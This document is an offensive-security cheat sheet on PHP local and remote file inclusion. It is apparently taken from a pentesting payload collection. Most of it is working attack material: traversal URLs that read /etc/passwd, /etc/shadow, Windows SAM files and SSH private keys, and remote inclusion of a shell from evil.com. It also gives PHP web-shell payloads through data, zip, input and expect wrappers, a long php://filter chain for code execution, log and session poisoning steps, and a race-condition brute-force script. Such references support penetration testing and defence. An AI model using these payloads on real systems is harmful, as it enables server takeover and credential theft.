File Inclusion
The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application.
The Path Traversal vulnerability allows an attacker to access a file, usually exploiting a "reading" mechanism implemented in the target application
Summary
- File Inclusion
- Summary
- Tools
- Basic LFI
- Basic RFI
- LFI / RFI using wrappers
- LFI to RCE via /proc/*/fd
- LFI to RCE via /proc/self/environ
- LFI to RCE via upload
- LFI to RCE via upload (race)
- LFI to RCE via upload (FindFirstFile)
- LFI to RCE via phpinfo()
- LFI to RCE via controlled log file
- LFI to RCE via PHP sessions
- LFI to RCE via credentials files
- References
Tools
- Kadimus - https://github.com/P0cL4bs/Kadimus
- LFISuite - https://github.com/D35m0nd142/LFISuite
- fimap - https://github.com/kurobeats/fimap
- panoptic - https://github.com/lightos/Panoptic
Basic LFI
In the following examples we include the /etc/passwd
file, check the Directory & Path Traversal
chapter for more interesting files.
http://example.com/index.php?page=../../../etc/passwd
Null byte
:warning: In versions of PHP below 5.3.4 we can terminate with null byte.
http://example.com/index.php?page=../../../etc/passwd%00
Double encoding
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
UTF-8 encoding
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00
Path and dot truncation
On most PHP installations a filename longer than 4096 bytes will be cut off so any excess chars will be thrown away.
http://example.com/index.php?page=../../../etc/passwd............[ADD MORE]
http://example.com/index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE]
http://example.com/index.php?page=../../../etc/passwd/./././././.[ADD MORE]
http://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd
Filter bypass tricks
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Basic RFI
Most of the filter bypasses from LFI section can be reused for RFI.
http://example.com/index.php?page=http://evil.com/shell.txt
Null byte
http://example.com/index.php?page=http://evil.com/shell.txt%00
Double encoding
http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt
Bypass allow_url_include
When allow_url_include
and allow_url_fopen
are set to Off
. It is still possible to include a remote file on Windows box using the smb
protocol.
- Create a share open to everyone
- Write a PHP code inside a file :
shell.php
- Include it
http://example.com/index.php?page=\\10.0.0.1\share\shell.php
LFI / RFI using wrappers
Wrapper php://filter
The part "php://filter" is case insensitive
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
Wrappers can be chained with a compression wrapper for large files.
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
NOTE: Wrappers can be chained multiple times using |
or /
:
- Multiple base64 decodes: php://filter/convert.base64-decoder|convert.base64-decode|convert.base64-decode/resource=%s
- deflate then base64encode (useful for limited character exfil): php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/index.php
./kadimus -u "http://example.com/index.php?page=vuln" -S -f "index.php%00" -O index.php --parameter page
curl "http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php" | base64 -d > index.php
Also there is a way to turn the php://filter
into a full RCE. Use LFI2RCE.py to generate a custom payload.
# vulnerable file: index.php
# vulnerable parameter: file
# executed command: id
# executed PHP code: <?=`$_GET[0]`;;?>
curl "127.0.0.1:8000/index.php?0=id&file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd"
Wrapper zip://
- Create an evil payload:
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
- Zip the file
python zip payload.zip payload.php; mv payload.zip shell.jpg; rm payload.php
- Upload the archive and access the file using the wrappers: http://example.com/index.php?page=zip://shell.jpg%23payload.php
Wrapper data://
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+
Wrapper expect://
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
Wrapper input://
Specify your payload in the POST parameters, this can be done with a simple curl
command.
curl -X POST --data "<?php echo shell_exec('id'); ?>" "https://example.com/index.php?page=php://input%00" -k -v
Alternatively, Kadimus has a module to automate this attack.
./kadimus -u "https://example.com/index.php?page=php://input%00" -C '<?php echo shell_exec("id"); ?>' -T input
Wrapper phar://
Create a phar file with a serialized object in its meta-data.
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
// add object of any class as meta data
class AnyClass {}
$object = new AnyClass;
$object->data = 'rips';
$phar->setMetadata($object);
$phar->stopBuffering();
If a file operation is now performed on our existing Phar file via the phar:// wrapper, then its serialized meta data is unserialized. If this application has a class named AnyClass and it has the magic method __destruct() or __wakeup() defined, then those methods are automatically invoked
class AnyClass {
function __destruct() {
echo $this->data;
}
}
// output: rips
include('phar://test.phar');
NOTE: The unserialize is triggered for the phar:// wrapper in any file operation, file_exists
and many more.
LFI to RCE via /proc/*/fd
- Upload a lot of shells (for example : 100)
- Include http://example.com/index.php?page=/proc/$PID/fd/$FD, with $PID = PID of the process (can be bruteforced) and $FD the filedescriptor (can be bruteforced too)
LFI to RCE via /proc/self/environ
Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
LFI to RCE via upload
If you can upload a file, just inject the shell payload in it (e.g : <?php system($_GET['c']); ?>
).
http://example.com/index.php?page=path/to/uploaded/file.png
In order to keep the file readable it is best to inject into the metadata for the pictures/doc/pdf
LFI to RCE via upload (race)
Worlds Quitest Let's Play" * Upload a file and trigger a self-inclusion. * Repeat 1 a shitload of time to: * increase our odds of winning the race * increase our guessing odds * Bruteforce the inclusion of /tmp/[0-9a-zA-Z]{6} * Enjoy our shell.
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
print('[x] Something went wrong, please try again')
LFI to RCE via upload (FindFirstFile)
:warning: Only works on Windows
FindFirstFile
allows using masks (<<
as *
and >
as ?
) in LFI paths on Windows.
- Upload a file, it should be stored in the temp folder
C:\Windows\Temp\
. - Include it using
http://site/vuln.php?inc=c:\windows\temp\php<<
LFI to RCE via phpinfo()
PHPinfo() displays the content of any variables such as $_GET, $_POST and $_FILES.
By making multiple upload posts to the PHPInfo script, and carefully controlling the reads, it is possible to retrieve the name of the temporary file and make a request to the LFI script specifying the temporary file name.
Use the script phpInfoLFI.py (also available at https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
Research from https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
LFI to RCE via controlled log file
Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file.
http://example.com/index.php?page=/var/log/apache/access.log
http://example.com/index.php?page=/var/log/apache/error.log
http://example.com/index.php?page=/var/log/apache2/access.log
http://example.com/index.php?page=/var/log/apache2/error.log
http://example.com/index.php?page=/var/log/nginx/access.log
http://example.com/index.php?page=/var/log/nginx/error.log
http://example.com/index.php?page=/var/log/vsftpd.log
http://example.com/index.php?page=/var/log/sshd.log
http://example.com/index.php?page=/var/log/mail
http://example.com/index.php?page=/var/log/httpd/error_log
http://example.com/index.php?page=/usr/local/apache/log/error_log
http://example.com/index.php?page=/usr/local/apache2/log/error_log
RCE via SSH
Try to ssh into the box with a PHP code as username <?php system($_GET["cmd"]);?>
.
ssh <?php system($_GET["cmd"]);?>@10.10.10.10
Then include the SSH log files inside the Web Application.
http://example.com/index.php?page=/var/log/auth.log&cmd=id
RCE via Mail
First send an email using the open SMTP then include the log file located at http://example.com/index.php?page=/var/log/mail
.
root@kali:~# telnet 10.10.10.10. 25
Trying 10.10.10.10....
Connected to 10.10.10.10..
Escape character is '^]'.
220 straylight ESMTP Postfix (Debian/GNU)
helo ok
250 straylight
mail from: mail@example.com
250 2.1.0 Ok
rcpt to: root
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
subject: <?php echo system($_GET["cmd"]); ?>
data2
.
In some cases you can also send the email with the mail
command line.
mail -s "<?php system($_GET['cmd']);?>" www-data@10.10.10.10. < /dev/null
RCE via Apache logs
Poison the User-Agent in access logs:
$ curl http://example.org/ -A "<?php system(\$_GET['cmd']);?>"
Note: The logs will escape double quotes so use single quotes for strings in the PHP payload.
Then request the logs via the LFI and execute your command.
$ curl http://example.org/test.php?page=/var/log/apache2/access.log&cmd=id
LFI to RCE via PHP sessions
Check if the website use PHP Session (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] or /var/lib/php/session/sess_[PHPSESSID] files
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Set the cookie to <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Use the LFI to include the PHP session file
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27
LFI to RCE via credentials files
This method require high privileges inside the application in order to read the sensitive files.
Windows version
First extract sam
and system
files.
http://example.com/index.php?page=../../../../../../WINDOWS/repair/sam
http://example.com/index.php?page=../../../../../../WINDOWS/repair/system
Then extract hashes from these files samdump2 SYSTEM SAM > hashes.txt
, and crack them with hashcat/john
or replay them using the Pass The Hash technique.
Linux version
First extract /etc/shadow
files.
http://example.com/index.php?page=../../../../../../etc/shadow
Then crack the hashes inside in order to login via SSH on the machine.
Another way to gain SSH access to a Linux machine through LFI is by reading the private key file, id_rsa.
If SSH is active check which user is being used /proc/self/status
and /etc/passwd
and try to access /<HOME>/.ssh/id_rsa
.
References
- OWASP LFI
- HighOn.coffee LFI Cheat
- Turning LFI to RFI
- Is PHP vulnerable and under what conditions?
- Upgrade from LFI to RCE via PHP Sessions
- Local file inclusion tricks
- CVV #1: Local File Inclusion - SI9INT
- Exploiting Blind File Reads / Path Traversal Vulnerabilities on Microsoft Windows Operating Systems - @evisneffos
- Baby^H Master PHP 2017 by @orangetw
- Чтение файлов => unserialize !
- New PHP Exploitation Technique - 14 Aug 2018 by Dr. Johannes Dahse
- It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It, Sam Thomas
- CVV #1: Local File Inclusion - @SI9INT - Jun 20, 2018
- Exploiting Remote File Inclusion (RFI) in PHP application and bypassing remote URL inclusion restriction
- PHP LFI with Nginx Assistance
- PHP LFI to arbitrary code execution via rfc1867 file upload temporary files (EN) - gynvael.coldwind - 2011-03-18
- LFI2RCE via PHP Filters - HackTricks
- Solving "includer's revenge" from hxp ctf 2021 without controlling any files - @loknop